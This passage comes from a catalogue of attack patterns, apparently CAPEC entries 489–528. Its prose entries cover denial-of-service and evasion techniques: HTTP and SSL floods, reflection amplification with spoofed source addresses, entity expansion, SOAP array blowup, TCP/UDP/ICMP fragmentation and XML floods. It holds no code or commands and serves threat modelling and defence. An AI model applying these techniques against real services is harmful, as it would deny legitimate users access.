An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.